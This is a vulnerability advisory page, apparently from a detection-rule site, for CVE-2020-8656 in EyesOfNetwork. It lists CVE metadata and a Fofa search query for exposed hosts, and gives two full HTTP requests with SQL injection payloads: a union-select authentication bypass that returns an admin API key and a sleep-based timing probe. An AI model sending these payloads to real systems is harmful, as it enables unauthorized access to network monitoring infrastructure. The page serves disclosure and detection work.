🔙 목록으로 돌아가기

CVE-2020-8656: EyesOfNetwork - Hardcoded API Key & SQL Injection

TitleEyesOfNetwork - Hardcoded API Key & SQL Injection
Authorritikchaddha
SeverityCritical
ImpactUnauthenticated attackers can bypass authentication via SQL injection and gain access to the EyesOfNetwork monitoring system and all monitored infrastructure data.
RemediationApply security patches or update to the latest version of EyesOfNetwork.
CVSS Score9.8
EPSS Score0.77688
CVE IDCVE-2020-8656
CWE IDCWE-798
Fofa Querytitle="EyesOfNetwork"
Tags cve cve2020 eyesofnetwork hardcoded-key sqli vuln vkev

🔍 Vulnerability Description

An issue was discovered in EyesOfNetwork 5.3. The EyesOfNetwork API 2.4.2 is prone to SQL injection, allowing an unauthenticated attacker to perform various tasks such as authentication bypass via the username field to getApiKey in include/api_functions.php.

🌐 HTTP Request

GET /eonapi/getApiKey?username=%27%20union%20select%201,%27admin%27,%271c85d47ff80b5ff2a4dd577e8e5f8e9d%27,0,0,1,1,8%20or%20%27&password=h4knet HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /eonapi/getApiKey?username=%27%20union%20select%20sleep(6),0,0,0,0,0,0,0%20or%20%27 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-8656.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-8656.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A